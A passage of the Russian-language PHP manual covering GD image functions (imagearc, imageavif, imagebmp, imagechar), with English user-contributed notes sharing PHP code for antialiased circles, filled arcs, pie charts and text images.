    imageSmoothCircle( $img, 170, 110,  75, array( 'R' => 0xDD, 'G' => 0x66, 'B' => 0x00 ) );
    imageSmoothCircle( $img, 180, 100,  50, array( 'R' => 0xEE, 'G' => 0x99, 'B' => 0x00 ) );
    imageSmoothCircle( $img, 190,  90,  25, array( 'R' => 0xFF, 'G' => 0xCC, 'B' => 0x00 ) );

    header( 'Content-Type: image/png' );
    imagePNG( $img );

?>
voinic at NOSgmailPAM dot com 12-Jan-2006 02:22
The only trick I found to draw an antialiased polygon AND keep it transparent (to use them as overlays in google maps for example)... make two images and merge them. Order of operations is important and the transparency color of the final image must be set after the merge:

<?
header("Content-type: image/png");

$values = array(
           40,  50,  // Point 1 (x, y)
           20,  240, // Point 2 (x, y)
           60,  60,  // Point 3 (x, y)
           240, 20,  // Point 4 (x, y)
           50,  40,  // Point 5 (x, y)
           10,  10  // Point 6 (x, y)
           );

$im = imagecreate(250, 250);
$bg = imagecolorallocate($im, 255, 255, 255);

$im2 = imagecreatetruecolor(250, 250);
$bg2 = imagecolorallocate($im2, 255, 255, 255);
imagefilledrectangle($im2,0,0,249,249,$bg2);
imagecolortransparent($im2, $bg);
imageantialias($im2, true);
$c_red = imagecolorallocate($im2, 255, 0, 0);
imagepolygon($im2, $values, 6, $c_red);
imageantialias($im2, false);

imagecopymerge($im, $im2,0,0,0,0,250,250,50);

imagecolortransparent($im, $bg);
$c_red_alpha = imagecolorallocatealpha($im, 255, 0, 0, 60);
imagefilledpolygon($im, $values, 6, $c_red_alpha);

imagepng($im);
imagedestroy($im);
imagedestroy($im2);
?>
sebbi at conceptT dot com 26-Sep-2005 07:06
I did a search in google and got following url:
http://www.isocalc.com/tutorials/antialias.htm
With this tutorial I was able to write a function to convert this algorithm into php, the result for a filled circel is this:
<?php
function imagefilledcircleantialiased(&$im, $cx, $cy, $r, $fgcolor, $bgcolor) {
  $fgcolors = imagecolorsforindex($im,$fgcolor);
  $bgcolors = imagecolorsforindex($im,$bgcolor);
  for ( $x = $cx - $r; $x <= $cx + $r; $x++ ) {
    for ( $y = $cy - $r; $y <= $cy + $r; $y++ ) {
      $rx = $x - $cx; $ry = $y - $cy;
      $ir = sqrt(( $rx == 0 ? 0 : pow($rx - 0.5*abs($rx)/$rx, 2) ) + ( $ry == 0 ? 0 : pow($ry - 0.5*abs($ry)/$ry, 2) ));
      $or = sqrt(( $rx == 0 ? 0 : pow($rx + 0.5*abs($rx)/$rx, 2) ) + ( $ry == 0 ? 0 : pow($ry + 0.5*abs($ry)/$ry, 2) ));
      if ( $or <= $r ) {
        imagesetpixel($im, $x, $y, $fgcolor);
      }
      elseif ( $ir < $r ) {
        $filled = 0;
        for ( $xx = $x - 0.45; $xx < $x + 0.5; $xx+=0.1 ) {
          for ( $yy = $y - 0.45; $yy < $y + 0.5; $yy+=0.1 ) {
            $rxx = $xx - $cx; $ryy = $yy - $cy;
            if ( sqrt(pow($rxx, 2) + pow($ryy, 2)) < $r ) $filled++;
          }
        }
        $red = round($bgcolors['red'] + ( $fgcolors['red'] - $bgcolors['red'] ) * $filled / 100);
        $green = round($bgcolors['green'] + ( $fgcolors['green'] - $bgcolors['green'] ) * $filled / 100);
        $blue = round($bgcolors['blue'] + ( $fgcolors['blue'] - $bgcolors['blue'] ) * $filled / 100);
        imagesetpixel($im, $x, $y, imagecolorclosest($im, $red, $green, $blue));
      }
    }
  }
}

$width = 160;
$height = 200;
$r = 20;
$bgc = "651713";
$fgc = "b12b2c";

$im = imagecreate($width, $height);
$bgcolor = imagecolorallocate($im, hexdec(substr($bgc, 0, 2)), hexdec(substr($bgc, 2, 2)), hexdec(substr($bgc, 4, 2)));
for( $i = 0; $i < 100; $i++ ) {
    imagecolorallocate($im, ( hexdec(substr($fgc, 0, 2)) + $i*hexdec(substr($bgc, 0, 2))) / ($i + 1), ( hexdec(substr($fgc, 2, 2)) + $i*hexdec(substr($bgc, 2, 2))) / ($i + 1), ( hexdec(substr($fgc, 4, 2)) + $i*hexdec(substr($bgc, 4, 2))) / ($i + 1));
}
$fgcolor = imagecolorclosest($im, hexdec(substr($fgc, 0, 2)), hexdec(substr($fgc, 2, 2)), hexdec(substr($fgc, 4, 2)));

imagefilledcircleantialiased($im, 80, 100, $r, $fgcolor, $bgcolor);

header("Content-Type: image/png");
imagepng($im);
?>
An improvement would be to draw the inner rectangle or more rectangles in the circle with the builtin rectangle function to reduce the usage of imagesetpixel() from (2*r)^2 to 2*Pi*(r + epsilon), in other words, the dependency on r would break down from square to linear.
Another improvement would be to determine filled and unfilled triangles in the observed pixel and calculate their areas, so we can get rid of the inner loops for getting the fraction filled/unfilled.
One can easily modify this function to solve other problems like lines, unfilled circles, etc.
trimbo 06-Sep-2005 12:25
So far using PHP 5.0.4 I've managed to get Imageantialias() to work well with:
ImageLine()
ImagePolygon()

but not with:
ImageArc()
ImageEllipse()
ImageFilled*()

You can still draw antialiased filled polygons by drawing a hollow polygon on top of a filled one with the same dimensions:
<?php
        $points=array($x,$y, $x2,$y2, $x3,$y3);
        imageFilledPolygon($im, $points, 3, $gray );
        imagePolygon($im, $points, 3, $gray );
?>


Рисование дуги

  • « imageantialias
  • imageavif »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Рисование дуги

imagearc

(PHP 4, PHP 5, PHP 7, PHP 8)

imagearc — Рисование дуги

Описание

imagearc(
GdImage $image,
int $center_x,
int $center_y,
int $width,
int $height,
int $start_angle,
int $end_angle,
int $color
): bool

imagearc() рисует дугу окружности с заданными координатами центра.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

center_x

x-координата центра.

center_y

y-координата центра.

width

Ширина дуги.

height

Высота дуги.

start_angle

Угол начала дуги в градусах.

end_angle

Угол окончания дуги в градусах. 0° соответствует положению 3 часа, дуга рисуется по часовой стрелке.

color

Идентификатор цвета, созданный функцией imagecolorallocate().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Рисование окружности с помощью функции imagearc()

<?php

// создаём изображение 200*200
$img = imagecreatetruecolor(200, 200);

// создаём несколько цветов
$white = imagecolorallocate($img, 255, 255, 255);
$red = imagecolorallocate($img, 255, 0, 0);
$green = imagecolorallocate($img, 0, 255, 0);
$blue = imagecolorallocate($img, 0, 0, 255);

// рисуем голову
imagearc($img, 100, 100, 200, 200, 0, 360, $white);
// рот
imagearc($img, 100, 100, 150, 150, 25, 155, $red);
// глаза
imagearc($img, 60, 75, 50, 50, 0, 360, $green);
imagearc($img, 140, 75, 50, 50, 0, 360, $blue);

// выводим изображение в браузере
header("Content-type: image/png");
imagepng($img);

// освобождаем память
imagedestroy($img);

?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: Рисование окружности с помощью функции imagearc()

Смотрите также

  • imagefilledarc() - Рисование и заливка дуги
  • imageellipse() - Рисование эллипса
  • imagefilledellipse() - Рисование закрашенного эллипса

User Contributed Notes

cleverphp 11-May-2018 02:25
imagearc example works not well,as it lacks of this line
"$white = imagecolorallocate($img, 255, 255, 255);
    imagefill($img,0,0,$white);
    $black = imagecolorallocate($img, 0, 0, 0);
"
lucas dot delmas at live dot fr 07-Jul-2013 07:15
The imagearc function has a precision of one degree. The function truncates the $start and $end values to the inferior degree.

For example if the starting angle you calculated is : -178.62450462172°
and the ending angle is : -152.78056427917°
imagearc will draw a curve from -178° to -152°.

If you need accurate curves drawing, you need to use a loop to draw little step-by-step lines. By creating a large number of short enough lines, you will create the impression of a curve with accuracy.
joe dot tym at gmail dot com 02-Oct-2012 05:08
I didn't have much luck with the other two functions, one of them makes circles that look like they've been printed on a dot-matrix printer. This simple function builds a border out of circles, seems to work nicely.

<?php
function imagearcunfilled($image,$x,$y,$width,$height,$border_thickness, $color) {

        imagesetthickness($image, 1);

        $x_radius = $width / 2;
        $y_radius = $height / 2;

        for ($i = 0; $i < 360; $i++) {
                if (TRUE) {
                        $x2 = $x + cos($i) * $x_radius;
                        $y2 = $y + sin($i) * $y_radius;
                        imagefilledarc($image,$x2,$y2,$border_thickness,$border_thickness,0,360,$color,IMG_ARC_PIE);
                }
        }
}
?>
chandlerklebs at gmail dot com 07-Jan-2012 10:24
This is an example script I wrote for myself to help me learn how to used the imagearc functions. Maybe if will also help others.

<?php
//example PHP script of imagearc functions
$image_width=360;$image_height=360;
$img = imagecreatetruecolor($image_width,$image_height); //make image variable

//create a background color by making a filled rectangle
$color = imagecolorallocate($img,255,255,255);
imagefilledrectangle($img,0,0,$image_width,$image_height,$color);

$r=$image_width/2 - $image_width/32 ; //radius
$cx=$image_width/2;
$cy=$image_height/2;

$color = imagecolorallocate($img,0,0,0);
imagearc($img, $cx, $cy, $r*2, $r*2,  0, 360, $color); //regular outlines arc

imagefilledarc($img, $cx, $cy, $r*1, $r*1,  0, 90, $color,IMG_ARC_CHORD); //filled triangle with chord of circle
imagefilledarc($img, $cx, $cy, $r*1, $r*1,  180, 270, $color,IMG_ARC_PIE); //pie slice

$font_number=5; //can use built in fonts numbered 1 to 5
$string="Hello world!";
imagestring($img, $font_number, $cx-(imagefontwidth($font_number)*strlen($string))/2, $cy-120, $string, $color);

header("Content-type: image/png");
imagepng($img);// output image in the browser

$filename="imagearc";
imagepng($img,"./frames/$filename.png",9); //make highly compressed png

imagedestroy($img);
?>
ajim1417 at gmail dot com 28-Jan-2010 07:42
I wrote a simple function that can draws an arc counter-clockwisekly. Here it is :

<?php

function imagearcCC(&$im, $cx, $cy, $w, $h, $s, $e, $c) {
$start = 360 - $e;
$end = 360 - $s;
return imagearc($im, $cx, $cy, $w, $h, $start, $end, $c);
}

?>

The params of this function is exactly the same as the usual imagearc function.
anton dot vandeghinste at telenet dot be 13-Dec-2009 07:27
I needed an arc with a thick border and i didn't like to use 359.9 as end angle so i made a function that works pretty well:

<?php
function imagearcthick($image, $x, $y, $w, $h, $s, $e, $color, $thick = 1)
{
    if($thick == 1)
    {
        return imagearc($image, $x, $y, $w, $h, $s, $e, $color);
    }
    for($i = 1;$i<($thick+1);$i++)
    {
        imagearc($image, $x, $y, $w-($i/5), $h-($i/5),$s,$e,$color);
        imagearc($image, $x, $y, $w+($i/5), $h+($i/5), $s, $e, $color);
    }
}
?>
mojiro at awmn dot net 13-Dec-2005 12:28
A previous for the Rotated (Filled)Ellipse note from(nojer2 at yahoo dot com, 02-Apr-2001 12:06) has a mistake, at the second arc. Replace them with the following listing.

if ($filled) {
    triangle($im, $cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
    triangle($im, $cx, $cy, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
} else {
    imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
    imageline($im, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
}
jerryscript at aol dot com 26-Dec-2003 02:05
[note-Apache/1.3.29 (Win32) PHP/4.3.4]

The imagearc (and imageellipse) functions do not accept line thicknesses when drawn from 0 to 360 degrees.

Drawing from 0 to 359 and again from 359 to 360 does create an ellipse with the current line thickness.

Jerry
eamon at hostelworld dot com 17-Dec-2003 07:24
Right...
possibly the easiest way of drawing a filled circle:
Loop through the imagearc function incrementing the diameter by one pixel:
<?
 // --- code fragment --- //

for($i=1; $i<$Diameter; $i++){
  imagearc($Image, $CenterX, $CenterY, $i, $i, $Start, $End, $Color);
}

// --------------------- //

?>

This works great for circles with diameters up to about 60 or 70 pixels wide. After that, you start to get pixle gaps.
logang at deltatee dot com 04-Aug-2003 08:19
Heres a function to make a curve between two points... This will be a downward curve but it wouldn't be hard to make a similar function to make an upward curve. The first point has to be to the left of the second point ($x1 < $x2), and height is actually backwards. The larger height is the less of a crest the curve has. I imagine with a few modifications this functions could make upward curves as well.

function ImageCurveDown ($image, $x1, $y1, $x2, $y2, $height, $color) {
    $presicion = 1;

    for ($left = ($x1-$x2); $left < 0; $left++){
        if ($y1 < $y2) {
            $cy = $y2 + $height;
            $cx = $x1 - $left;
        } else {
            $cy = $y1 + $height;
            $cx = $x2 + $left;
        }
        $nx1 = abs($x1 - $cx);
        $ny1 = abs($y1 - $cy);
        $nx2 = abs($x2 - $cx);
        $ny2 = abs($y2 - $cy);

        if ($y1 < $y2) {
            if ($nx2 == 0 || $ny1 == 0) continue;
            $angle1 = atan($height/$nx2);
            $A1 = $nx2/cos ($angle1);
            $B1 = $ny2/sin ($angle1);
            $angle2 = pi()/2 +atan($left/$ny1);
            $A2 = $nx1/cos ($angle2);
            $B2 = $ny1/sin ($angle2);
        } else {
            if ($ny2 == 0 || $nx1 == 0) continue;
            $angle1 = atan($ny2/$nx2);
            $A1 = abs($nx2/cos ($angle1));
            $B1 = abs($ny2/sin ($angle1));
            $angle2 = atan($height/$nx1);
            $A2 = abs ($nx1/cos ($angle2));
            $B2 = abs($ny1/sin ($angle2));
        }

        if (abs($A1 - $A2) < $presicion && abs ($B1 - $B2) < $presicion) {
            ImageArc($image, $cx, $cy, $A1*2, $B1*2, 180+rad2deg($angle2), 360-rad2deg($angle1), $color);
        }
    }
}
23-Jan-2003 08:55
Please note that in order to draw a complete circle or ellipse (without using the imageellipse) you mustn't use 0? for both s and e. If you do this you will get, umm, nothing. Instead set s to 0? and e to 360? to get a complete circle or ellipse.
jinny at 263 dot net 13-May-2002 10:27
imagesetstyle() sets the style to be used by all line drawing functions when drawing with the special color .

Here goes a example of drawing a dashed-line circle.enjoy!

<?php

header("Content-type: image/jpeg");
$im = imagecreate(100,100);

$b   = imagecolorallocate ($im, 0, 0, 0);
$w   = imagecolorallocate ($im, 255, 255, 255);

$style = array ($b,$b,$b,$b,$b,$w,$w,$w,$w,$w);

imagesetstyle ($im, $style);

imagearc($im,50,50,100,100,0,360,IMG_COLOR_STYLED);

imagejpeg($im);
imagedestroy($im);
?>
arve at skogvold dot as 30-Nov-2001 01:04
I found a better way for drawing a pie chart:

header ("Content-type: image/png");
$diameter = 100;
$radius = $diameter / 2;
$centerX = $radius;
$centerY = $radius;

$im = @ImageCreate ($diameter, $diameter)
    or die ("Cannot Initialize new GD image stream");

$background = ImageColorAllocate ($im, 0, 0, 0);
$red = ImageColorAllocate ($im, 176, 0, 0);

function fill_arc($start, $end, $color) {
    global $diameter, $centerX, $centerY, $im, $radius;
    imagearc($im, $centerX, $centerY, $diameter, $diameter, $start, $end, $color);
    imageline($im, $centerX, $centerY, $centerX + cos(deg2rad($start)) * $radius, $centerY + sin(deg2rad($start)) * $radius, $color);
    imageline($im, $centerX, $centerY, $centerX + cos(deg2rad($end)) * $radius, $centerY + sin(deg2rad($end)) * $radius, $color);
    imagefill ($im,$centerX + $radius * 0.5 *cos(deg2rad($start+($end-$start)/2)), $centerY + $radius * 0.5 * sin(deg2rad($start+($end-$start)/2)), $color);
    }

fill_arc(0,30,$red);
// Will make a red filled arc, starting at 0 degrees, ending at 30 degrees

ImagePng ($im);
marc at resiteit dot com 08-Nov-2001 01:04
Round cornered anti-aliased dynamically sized button.

$w=40;
$h=20;
$im = ImageCreate($w,$h);
$white=ImageColorAllocate($im,255,255,255);
ImageFilledRectangle($im,0,0,$w,$h,$white);
imagecolortransparent ($im, $white);
ImageTTFText ($im, $h+ceil($h/3)+1, 0, -1, $h-1, $col1, "arialbd.ttf", "O");
ImageTTFText ($im, $h+ceil($h/3)+1, 0, $w-$h, $h-1, $col1, "arialbd.ttf", "O");
ImageTTFText ($im, $h+ceil($h/3)+1, 0, 1, $h-1, $col1, "arialbd.ttf", "O");
ImageTTFText ($im, $h+ceil($h/3)+1, 0, $w-$h-2, $h-1, $col1, "arialbd.ttf", "O");
$points=array(
    1,round($h/2),
    round($h/4),$h-round($h/4),
    round($h/2),$h,
    $w-(round($h/2)),$h,
    $w-(round($h/4)),$h-round($h/4),
    $w-2,round($h/2),
    $w-round($h/4),round($h/4),
    $w-round($h/2),0,
    round($h/2),0,
    round($h/4),round($h/4)
);
imagefilledpolygon ($im, $points, 10, $col1);

header("content-type: image/gif");
header("Content-Disposition: filename=name.gif");
ImageGif($im);
ImageDestroy($im);
foripepe at yahoo dot com 02-Sep-2001 09:56
To fill an arc (DiameterX != DiameterY):

<?
function imagefilledarc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color) {
    // To draw the arc
    imagearc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color);
    // To close the arc with 2 lines between the center and the 2 limits of the arc
    $x = $CenterX + (cos(deg2rad($Start))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($Start))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
    $x = $CenterX + (cos(deg2rad($End))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($End))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
    // To fill the arc, the starting point is a point in the middle of the closed space
    $x = $CenterX + (cos(deg2rad(($Start+$End)/2))*($DiameterX/4));
    $y = $CenterY + (sin(deg2rad(($Start+$End)/2))*($DiameterY/4));
    imagefilltoborder($Image, $x, $y, $Color, $Color);
}
?>

To close the arc with 2 lines (DiameterX != DiameterY):

<?
function imagenofilledarc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color) {
    // To draw the arc
    imagearc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color);
    // To close the arc with 2 lines between the center and the 2 limits of the arc
    $x = $CenterX + (cos(deg2rad($Start))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($Start))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
    $x = $CenterX + (cos(deg2rad($End))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($End))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
}
?>

An example:
<?
    $destImage = imagecreate( 216, 152 );
    $c0 = imagecolorallocate( $destImage, 0, 255, 255 );
    $c1 = imagecolorallocate( $destImage, 0, 0, 0 );
    $c2 = imagecolorallocate( $destImage, 255, 0, 0 );
    ImageFilledRectangle ( $destImage, 0, 0, 216, 152, $c0 );
    imagefilledarc( $destImage, 108, 76, 180, 80, 0, 130, $c1 );
    imagenofilledarc( $destImage, 108, 76, 180, 80, 0, 130, $c2 );
    header("content-type: image/PNG");
    ImagePNG( $destImage );
    ImageDestroy( $destImage );
?>
nojer2 at yahoo dot com 01-Apr-2001 02:18
Here's a dashed circle function:

<?php
function dashedcircle($im, $cx, $cy, $radius, $colour, $dashsize=5) {

   $dash=false;
   for ($angle=0; $angle<=(180+$dashsize); $angle+=$dashsize) {
      $x = ($radius * cos(deg2rad($angle)));
      $y = ($radius * sin(deg2rad($angle)));

      if ($dash) {
         imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         imageline($im, $cx-$px, $cx-$py, $cx-$x, $cy-$y, $colour);
      }
      $dash=!$dash;
      $px=$x;
      $py=$y;
   }
}
?>
nojer2 at yahoo dot com 01-Apr-2001 02:06
Here's the function to draw rotated ellipses again. This time I've optimised it a bit, fixed the no-fill bug, and used a 'squishratio' rather than a 'radiusmodifier', to make the curves perfect, so ignore my previous version.

<?php
function rotatedellipse($im, $cx, $cy, $width, $height, $rotateangle, $colour, $filled=true) {
   $step=2;
   $cosangle=cos(deg2rad($rotateangle));
   $sinangle=sin(deg2rad($rotateangle));

   $squishratio = $height/$width;
   $nopreviouspoint = true;
   for ($angle=0; $angle<=(180+$step); $angle+=$step) {

      $ox = ($width * cos(deg2rad($angle)));
      $oy = ($width * sin(deg2rad($angle))) * $squishratio;

      $x =  + (($ox * $cosangle) - ($oy * $sinangle));
      $y = $centrey + (($ox * $sinangle) + ($oy * $cosangle));

      if ($nopreviouspoint) {
        $px=$x;
        $py=$y;
        $nopreviouspoint=false;
      }

      if ($filled) {
         triangle($im, $cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         triangle($im, $cx, $cy, $cx-$px, $cx-$py, $cx-$x, $cy-$y, $colour);
      } else {
         imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         imageline($im, $cx-$px, $cx-$py, $cx-$x, $cy-$y, $colour);
      }
      $px=$x;
      $py=$y;
   }
}

function triangle($im, $x1,$y1, $x2,$y2, $x3,$y3, $colour) {
   $coords = array($x1,$y1, $x2,$y2, $x3,$y3);
   imagefilledpolygon($im, $coords, 3, $colour);
}
?>
cbriou at orange-art dot fr 17-Sep-2000 07:03
There is another way to fill an arc :

<?php
// To draw the arc
$Color = imagecolorallocate($Image, $Red, $Green, $Blue);
imagearc($Image, $CenterX, $CenterY, $Diameter, $Diameter, $Start, $End, $Color);
// To close the arc with 2 lines between the center and the 2 limits of the arc
$x = $CenterX + (cos(deg2rad($Start))*($Diameter/2));
$y = $CenterY + (sin(deg2rad($Start))*($Diameter/2));
imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
$x = $CenterX + (cos(deg2rad($End))*($Diameter/2));
$y = $CenterY + (sin(deg2rad($End))*($Diameter/2));
imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
// To fill the arc, the starting point is a point in the middle of the closed space
$x = $CenterX + (cos(deg2rad(($Start+$End)/2))*($Diameter/4));
$y = $CenterY + (sin(deg2rad(($Start+$End)/2))*($Diameter/4));
imagefilltoborder($Image, $x, $y, $Color, $Color);
?>
timothyhouck at yahoo dot com 16-Aug-2000 03:58
To do filled arcs, try something like this:

<?php
$diameter = 50;
imagearc($image, 25, 25, $diameter, $diameter, $start, $end, $color);
while($diameter > 0) {
  imagearc($image, 25, 25, $diameter, $diameter, $start, $start + 1, $color);
  imagearc($image, 25, 25, $diameter, $diameter, $end - 1, $end, $color);
  $diameter--;
}
?>

...well you get the point.  It's a kludge, and *very* slow, but it's free.
travis at duluth dot com 22-Dec-1999 06:36
The wierd thing is that the first two integers tell where to place the "circle".
So for example I first create the "pallet" to place the circle on.
$image = imagecreate(500, 500);
(this makes a huge 500x500 gif :) )
$colorBody = imagecolorallocate($image, 0, 0, 0);
(make the default color of the "pallet" black
$circleColor = imagecolorallocate($image, 255, 0, 255);
(going to make the circle an ugly pink color)
imagearc($image, 250, 250, 300, 300, 0, 360, $circleColor);
Places the image in the center (250,250) and the circle is 300 pixels in diameter.

Hope this helps.

Travis Kent Beste


Выводит изображение в браузер или пишет в файл

  • « imagearc
  • imagebmp »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Выводит изображение в браузер или пишет в файл

imageavif

(PHP 8 >= 8.1.0)

imageavif — Выводит изображение в браузер или пишет в файл

Описание

imageavif(
GdImage $image,
resource|string|null $file = null,
int $quality = -1,
int $speed = -1
): bool

Выводит или сохраняет растровое изображение AVIF из указанного параметра image.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

file

Путь, или открытый потоковый ресурс (который автоматически закрывается после завершения функции), для сохранения файла. Если не установлен или равен null, изображение будет выведено в поток вывода в бинарном виде.

quality

Необязательный параметр quality варьируется от 0 (худшее качество, файл меньшего размера) до 100 (лучшее качество, файл большего размера). Если указывается -1, используется значение по умолчанию 30.

speed

Необязательный параметр speed варьируется от 0 (медленнее, файл меньшего размера) до 10 (быстрее, файл большего размера). Если указывается -1, используется значение по умолчанию 6.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Предостережение

Однако, если libgd не может вывести изображения, эта функция вернёт true.

Смотрите также

  • imagepng() - Вывод PNG изображения в браузер или файл
  • imagewbmp() - Выводит изображение в браузер или пишет в файл
  • imagejpeg() - Выводит изображение в браузер или пишет в файл
  • imagetypes() - Возвращает список типов изображений, поддерживаемых PHP сборкой

User Contributed Notes

avi at orons dot pro 28-Oct-2022 06:31
Usage example:
$image = imagecreatefromjpeg('test.jpg');  //read a jpg file
imageavif($image, 'test.avif');  //save an avif file


Вывести BMP-изображение в браузер или файл

  • « imageavif
  • imagechar »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Вывести BMP-изображение в браузер или файл

imagebmp

(PHP 7 >= 7.2.0, PHP 8)

imagebmp — Вывести BMP-изображение в браузер или файл

Описание

imagebmp(GdImage $image, resource|string|null $file = null, bool $compressed = true): bool

Выводит или сохраняет BMP-версию заданного изображения (image).

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

file

Путь, или открытый потоковый ресурс (который автоматически закрывается после завершения функции), для сохранения файла. Если не установлен или равен null, изображение будет выведено в поток вывода в бинарном виде.

Замечание:

null недействителен, если аргумент compressed не используется.

compressed

Должен ли BMP быть сжат с кодировкой длин серий (RLE), или нет.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Предостережение

Однако, если libgd не может вывести изображения, эта функция вернёт true.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).
8.0.0 | Тип параметра compressed теперь логическое значение (bool); ранее был целым числом (int).

Примеры

Пример #1 Сохранение BMP-файла

<?php
// Создайте пустое изображение и добавьте текст
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);

imagestring($im, 1, 5, 5, 'BMP with PHP', $text_color);

// Сохранить изображение
imagebmp($im, 'php.bmp');

// Освободить память
imagedestroy($im);
?>

User Contributed Notes

There are no user contributed notes for this page.


Рисование символа по горизонтали

  • « imagebmp
  • imagecharup »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Рисование символа по горизонтали

imagechar

(PHP 4, PHP 5, PHP 7, PHP 8)

imagechar — Рисование символа по горизонтали

Описание

imagechar(
GdImage $image,
GdFont|int $font,
int $x,
int $y,
string $char,
int $color
): bool

imagechar() рисует первый символ аргумента char на изображении с идентификатором image на координатах x,y (координаты отсчитываются с левого верхнего угла) цветом color.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

font

Может принимать значения 1, 2, 3, 4, 5 для встроенных шрифтов в кодировке latin2 (более высокое число соответствует большему шрифту) или экземпляр GdFont, возвращаемый функцией imageloadfont()..

x

x-координата начала рисования.

y

y-координата начала рисования.

char

Символ для рисования.

color

Идентификатор цвета, созданный функцией imagecolorallocate().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр font теперь принимает как экземпляр GdFont, так и целое число (int); ранее принималось только целое число (int).
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagechar()

<?php

$im = imagecreate(100, 100);

$string = 'PHP';

$bg = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

// печатает чёрный символ "P" в левом верхнем углу
imagechar($im, 1, 0, 0, $string, $black);

header('Content-type: image/png');
imagepng($im);

?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagechar()

Смотрите также

  • imagecharup() - Рисование символа вертикально
  • imageloadfont() - Загрузка шрифта

User Contributed Notes

liam dot wiltshire at lineone dot net 29-Mar-2009 03:11
A quick function to automatically generate a multi line image from a string, with the image size automatically calculated from the string itself.

<?php

function multilineimage($string){

    // Probably not the best way of handling newlines, but bar OS9, doesn't really cause a problem
    $string = str_replace("\r","",$string);
    $string = explode("\n",$string);

    $maxlen = 0;
    foreach ($string as $str){
        if (strlen($str) > $maxlen){
            $maxlen = strlen($str);
        }
    }

    // Set font size
    $font_size = 4;

    // Create image width dependant on width of the string
    $width  = imagefontwidth($font_size)*$maxlen;
    // Set height to that of the font
    $height = imagefontheight($font_size) * count($string);
    // Create the image pallette
    $img = imagecreate($width,$height);
    // Grey background
    $bg    = imagecolorallocate($img, 205, 255, 255);
    // White font color
    $color = imagecolorallocate($img, 0, 0, 0);

    $ypos = 0;

    foreach ($string as $str){

        $len = strlen($str);
        for($i=0;$i<$len;$i++){
            // Position of the character horizontally
            $xpos = $i * imagefontwidth($font_size);
            // Draw character
            imagechar($img, $font_size, $xpos, $ypos, $str, $color);
            // Remove character from string
            $str = substr($str, 1);
        }
        $ypos = $ypos + imagefontheight($font_size);
    }

    // Return the image
    header("Content-Type: image/gif");
    imagegif($img);
    // Remove image
    imagedestroy($img);
}

multilineimage("This is an image
This is line 2\nLine 3
Line 4");

?>
sw at profilschmiede dot de 20-Jun-2005 08:35
For the sake of completeness, here is an example for imagechar.
The base-image automatically adjusts to the size and the height of the given string. Using the rand()-function the y-position of each char is slightly varied with every loop-run. You can easily rewrite the script to use a randomly generated string - the one given here just serves as an example.

<?php

$string = '1 2 3 4 5 6 7 8 9 A B C D E F G';
$font_size = 5;
$width=imagefontwidth($font_size)*strlen($string);
$height=imagefontheight($font_size)*2;
$img = imagecreate($width,$height);
$bg = imagecolorallocate($img,225,225,225);
$black = imagecolorallocate($img,0,0,0);
$len=strlen($string);

for($i=0;$i<$len;$i++)
{
    $xpos=$i*imagefontwidth($font_size);
    $ypos=rand(0,imagefontheight($font_size));
    imagechar($img,$font_size,$xpos,$ypos,$string,$black);
    $string = substr($string,1);

}
header("Content-Type: image/gif");
imagegif($img);
imagedestroy($img);
?>


Рисование символа вертикально

  • « imagechar
  • imagecolorallocate »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Рисование символа вертикально

imagecharup

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecharup — Рисование символа вертикально

Описание

imagecharup(
GdImage $image,
GdFont|int $font,
int $x,
int $y,
string $char,
int $color
): bool

Рисует символ char вертикально на заданных координатах изображения image.

Список параметров

image

